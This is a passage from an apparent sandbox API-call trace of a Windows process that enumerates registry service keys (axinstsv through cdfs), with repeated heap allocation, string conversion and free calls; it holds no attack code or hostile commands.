(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0250.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0250.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0250.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.875] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.875] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.875] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0250.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0250.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0250.877] RtlAllocateHeap 